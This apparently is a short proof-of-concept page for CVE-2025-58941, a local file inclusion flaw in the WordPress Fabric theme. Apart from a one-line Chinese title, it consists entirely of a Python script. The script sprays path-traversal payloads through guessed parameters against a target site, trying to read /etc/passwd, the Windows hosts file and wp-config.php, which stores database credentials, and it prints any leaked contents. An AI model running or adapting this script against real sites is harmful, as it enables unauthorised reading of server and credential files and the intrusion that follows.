CVE-2025-58941 WordPress Fabric主题本地文件包含漏洞

# CVE-2025-58941 PoC - WordPress Fabric Theme LFI # Target: WordPress site with Fabric theme <= 1.5.0 import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-58941""" # Common vulnerable parameters in WordPress themes vulnerable_paths = [ '/wp-content/themes/fabric/includes/', '/wp-content/themes/fabric/', ] # Target files to read target_files = [ '../../../../../../../../etc/passwd', '../../../../../../windows/system32/drivers/etc/hosts', '../wp-config.php', ] print(f"[*] Testing target: {target_url}") for path in vulnerable_paths: for file in target_files: # Try common parameter names params = [ ('file', file), ('page', file), ('template', file), ('load', file), ] for param_name, param_value in params: try: test_url = target_url + path response = requests.get(test_url, params={param_name: param_value}, timeout=10) # Check for successful file inclusion if 'root:' in response.text or 'localhost' in response.text: print(f"[+] VULNERABLE! Found LFI at: {test_url}?{param_name}={param_value}") print(f"[+] Response preview: {response.text[:200]}") return True except requests.exceptions.RequestException: continue print("[-] No vulnerability detected") return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL: ") check_vulnerability(target)